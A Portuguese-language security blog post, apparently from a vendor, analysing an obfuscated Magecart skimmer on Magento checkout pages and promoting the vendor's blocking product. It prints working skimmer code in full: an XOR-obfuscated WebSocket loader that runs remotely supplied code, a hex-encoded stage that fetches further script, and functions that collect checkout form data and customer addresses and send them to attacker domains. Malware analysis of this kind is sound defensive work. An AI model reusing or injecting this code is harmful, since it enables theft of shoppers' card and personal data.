Resumo: análise de skimmer ofuscado
- Aleatório de propósito: O script injetado parece um array aleatório de 30 bytes e é precisamente esse o objetivo, porque as verificações de hash e a revisão humana escapam a código montado em tempo de execução através de aritmética XOR e reconstrução via String.fromCharCode.
- Desofuscado automaticamente: O payload abre uma ligação WebSocket para wss://gstatlc[.]org/jivo e só é ativado na rota onestepcheckout do Magento, e o motor da cside desofusca-o e desempacota-o automaticamente em vez de esperar que um investigador publique uma análise.
- Verifique a sua ferramenta: Se o seu processo de revisão depende de ler ficheiros de origem a olho nu, os skimmers ofuscados permanecem invisíveis durante meses, por isso decida se a sua ferramenta desofusca mesmo os payloads sozinha ou apenas os reencaminha adiante.
Sem tempo? Veja o bloqueio de Magecart e skimmers no navegador da cside. Cobre tudo o que se segue numa única implementação.
No dia 14 de outubro, publicámos um artigo sobre como mais um ataque Magecart ao Magento estava a acontecer. Na altura, identificámos apenas um script como responsável.
Hoje, conseguimos encontrar e analisar o ataque com mais detalhe.
O ataque decodificado
Este foi o código injetado:
<script>
const qbq = [93,89,89,16,5,5,77,89,94,75,94,70,73,4,69,88,77,5,64,67,92,69,21,89,69,95,88,73,79,23];
const zep = 42;
window.sss = new WebSocket(String.fromCharCode(...qbq.map(hwo => hwo ^ zep)) + encodeURIComponent(location.href));
window.sss.addEventListener('message', event => {new Function(event.data)()});
</script>
Ao decodificar este script ofuscado, descobrimos que ele estabelece uma ligação WebSocket com o seguinte URL: wss://gstatlc[.]org/jivo?source=.
Suspeitámos então que o ataque teria como objetivo o web skimming, ou seja, o roubo de dados de clientes como informações de cartão de crédito.
Depois encontrámos o seguinte script:
! function() {
function e(e) {
let t = "";
for (let n = 0; n < e.length; n += 2) {
let o = e.slice(n, n + 2),
c = parseInt(o, 16);
t += String.fromCharCode(c)
}
return t
}
if (window.location.href.includes(e("6f6e6573746570636865636b6f7574"))) {
const t = new WebSocket(e("7773733a2f2f61766765617273686f702e6164732d616e616c797369732e6e65743a3434332f7773")),
n = "x-magento-65dsf";
t.onmessage = function(t) {
! function(t) {
if (!document.querySelector("#" + n)) {
const o = document.createElement("script");
o.id = n, o.text = e(t), document.head.appendChild(o)
}
}(t.data)
}
}
}();
Isto conduz a código ofuscado, que a nossa plataforma cside desofusca automaticamente. Encontrámos várias funções destinadas a capturar dados.
// Função para decodificar os seletores
function decodeSelectors() {
let decoded = hexDecode(encodedSelectors);
let selectorArray = decoded.split('|');
return selectorArray;
}
// Função para verificar se elementos específicos estão presentes na página
const checkElementsPresence = () => {
let selectors = decodeSelectors();
return selectors.every(selectorEntry => {
let [selector, count] = selectorEntry.split(':');
let elements = document.querySelectorAll(selector);
return elements.length >= Number(count);
});
};
// Função para gerar um identificador único
const generateUUID = () => {
return ([1e7] + -1e3 + -4e3 + -8e3 + -1e11).replace(/[018]/g, c =>
(c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)
);
};
// Função para codificar dados em hexadecimal
function hexEncode(str) {
return str.split('').map(char => char.charCodeAt(0).toString(16)).join('');
}
// Função para recolher dados do formulário
const collectFormData = (context) => {
let data = {};
let counts = {};
let inputs = context.querySelectorAll('input, select, textarea');
for (let i = 0; i < inputs.length; ++i) {
let element = inputs[i];
let name = element.name || element.id;
let value = element.value;
if (value !== '' && name) {
if (!counts[name]) counts[name] = 0;
if (element.tagName !== 'SELECT') {
counts[name] === 0
? data[name] = value
: data[`${name}#${counts[name]}`] = value;
} else {
let selectedOption = element.options[element.selectedIndex].text;
counts[name] === 0
? data[name] = selectedOption
: data[`${name}#${counts[name]}`] = selectedOption;
}
counts[name]++;
}
}
data['url'] = window.location.hostname;
data['ua'] = window.navigator.userAgent;
data['ts'] = Date.now();
// Tentativa de recolher dados de endereço do cliente, se disponíveis
if (window.checkoutConfig && window.checkoutConfig.customerData && window.checkoutConfig.customerData.addresses) {
try {
let addresses = window.checkoutConfig.customerData.addresses;
data['address_data'] = addresses[Object.keys(addresses)[0]];
} catch (e) { /* Ignorar erros */ }
}
return hexEncode(JSON.stringify(data));
};
// Intervalo para verificar e enviar dados repetidamente
let intervalId = setInterval(() => {
if (checkElementsPresence()) {
let formData = collectFormData(document.body);
const uuid = generateUUID();
const webSocketURL = hexDecode(encodedWebSocketURL) + '/' + uuid;
const ws = new WebSocket(webSocketURL);
ws.addEventListener('open', function () {
ws.send(formData);
ws.close(1000, 'done');
clearInterval(intervalId);
});
}
}, 1000);
})();
Ali estava ainda outro domínio malicioso: wss://adsprove[.]online/ws.
Todas estas funções comprovam que o script visa efetivamente diversas entradas de visitantes desprevenidos. Também demonstra que monitorizar e bloquear estas tentativas do lado do cliente é essencial para identificar e travar estes ataques.
Como proteger o seu site
A cside foi fundada para travar este tipo de ataques. Qualquer script de terceiros presente no seu site que esteja comprometido pode ser detetado e bloqueado por nós antes de ser executado no navegador dos seus visitantes. Isto protege-os a eles, e a si, de agentes maliciosos.
Ao usar o nosso plano gratuito, fica protegido contra este e outros ataques semelhantes.









